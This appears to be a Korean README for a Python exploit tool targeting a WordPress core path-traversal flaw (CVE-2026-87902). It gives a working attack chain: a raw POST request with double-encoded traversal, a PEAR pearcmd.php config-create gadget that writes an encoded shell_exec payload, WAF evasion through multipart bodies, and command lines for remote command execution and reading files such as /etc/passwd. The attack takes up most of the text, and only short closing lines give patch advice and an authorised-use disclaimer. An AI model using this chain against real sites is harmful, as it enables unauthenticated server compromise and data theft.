
WordPress 코어 경로 순회로 인해 LFI 및 PEAR 기반 RCE로 이어지는 CVE-2026-87902에 대한 Python PoC 및 스캐너로, WAF 우회와 자동화된 익스플로잇을 포함합니다.
WordPress 코어의 페이지 템플릿 리졸버에서 이중 인코딩된 경로 탐색을 통한 인증되지 않은 로컬 파일 포함(LFI), 그리고 PEAR 기반 RCE 체인.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-87902 |
| CVSS | 9.2 (치명적) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| CWE | CWE-98 — Include/Require를 위한 파일명 제어 부적절 |
| 영향 받는 버전 | WordPress 4.7.0 – 7.1.1 |
| 수정 버전 | WordPress 7.1.2 + 모든 지원 브랜치로 백포트 |
| 인증 | 없음 (인증되지 않음) |
wp-includes/template.php의 get_page_template()은 정리(sanitization)가 이미 실행된 후 pagename 쿼리 파라미터에 urldecode()를 호출합니다. 이중 인코딩된 ../ 시퀀스(%252E%252E%252F)는 PHP의 첫 번째 디코딩을 통과하여 %2E%2E%2F가 되고, sanitize_title_with_dashes()(%xx 시퀀스를 보존함)를 통과한 뒤, WordPress의 늦은 urldecode() 호출에 의해 ../로 디코딩되어 테마 디렉터리를 탈출합니다.
POST 메서드가 필요한 이유는 redirect_canonical()이 GET/HEAD가 아닌 요청에 대해 조기에 반환하여, 취약한 코드에 도달하기 전에 경로가 정규화되는 것을 방지하기 때문입니다.
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
page_id=2&pagename=templates%25252E%25252E%25252F%25252E%25252E%25252F...%25252Findex
1. PHP가 POST 본문 디코딩: templates%252E%252E%252F%252E%252E%252F...%252Findex
2. WP 정리가 보존: templates%2E%2E%2F%2E%2E%2F...%2Findex
3. get_page_template() urldecode(): templates/../../../index
4. locate_template() 해석: wp-content/themes/<theme>/page-templates/../../../index.php
5. file_exists() 성공 → include()가 파일 실행
.php 파일이 포함되고 실행됨pearcmd.php 가젯 체인을 통해 (PEAR 설치 + register_argc_argv=On 필요)두 개의 익명 POST 요청으로 RCE를 달성합니다:
1단계 — 경로 탐색을 통해 pearcmd.php를 포함합니다. 쿼리 문자열 /?+config-create+/<php-payload>+<output>.php가 PEAR의 argv가 됩니다. config-create 명령은 공격자가 제어하는 데이터(PHP 태그 포함)를 쓰기 가능한 디렉터리에 기록합니다.
2단계 — PEAR가 기록한 파일을 포함합니다. 내장된 PHP가 웹 서버 권한으로 실행됩니다.
PHP 페이로드는 wp_magic_quotes()가 이스케이프할 따옴표 문자를 피하기 위해 chr() 인코딩(<?=shell_exec(chr(105).chr(100))?>)을 사용합니다.
cve-2026-87902.py — 자동 검사기 + LFI 스캐너 + PEAR RCE 익스플로잇. 바이트 단위의 정확한 요청 제어를 위해 http.client를 사용합니다 (라이브러리 재인코딩 없음).
Python 3.6+ (표준 라이브러리만 — pip 의존성 없음)
# 취약점만 확인
python3 cve-2026-87902.py https://target.com --check
# WAF 우회와 함께 확인 (multipart/form-data)
python3 cve-2026-87902.py https://target.com --check --multipart
# 페이지 ID와 경로 탐색 깊이 지정
python3 cve-2026-87902.py https://target.com -p 42 --depth 7
# LFI 스캔 (기본 대상)
python3 cve-2026-87902.py https://target.com
# 사용자 지정 파일로 LFI 스캔
python3 cve-2026-87902.py https://target.com -f etc/passwd wp-includes/pluggable
# PEAR 체인을 통한 RCE
python3 cve-2026-87902.py https://target.com --rce "id"
# RCE를 통한 파일 읽기
python3 cve-2026-87902.py https://target.com --read /etc/hostname
# 전체 옵션
python3 cve-2026-87902.py https://target.com --rce "whoami" \
--pear /usr/local/lib/php/pearcmd \
--output /tmp/wp-rce-payload \
--multipart --timeout 30
page-* 디렉터리를 탐색--multipart는 페이로드를 multipart/form-data로 감싸 WAF 패턴 매칭을 회피chr() 인코딩된 페이로드를 사용한 2단계 PEAR 체인| 마커 | 의미 |
|---|---|
[HIT] | 파일이 성공적으로 포함됨 |
[---] | 정상 응답 (파일이 포함되지 않음) |
[???] | 응답이 상당히 다름 — 조사할 가치가 있음 |
[WAF] | WAF에 의해 차단됨 (403) |
[ERR] | 연결 실패 |
page-* 디렉터리(예: page-templates/)가 있어야 함pearcmd.php 읽기 가능 + register_argc_argv=On + /tmp 쓰기 가능WordPress 7.1.2 또는 해당 브랜치의 최신 보안 릴리스로 업데이트하세요 (4.7까지 백포트 제공).
이 도구는 승인된 보안 테스트 및 버그 바운티 연구용으로만 제공됩니다. 테스트에 대한 명시적 허가를 받은 시스템에만 사용하세요. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.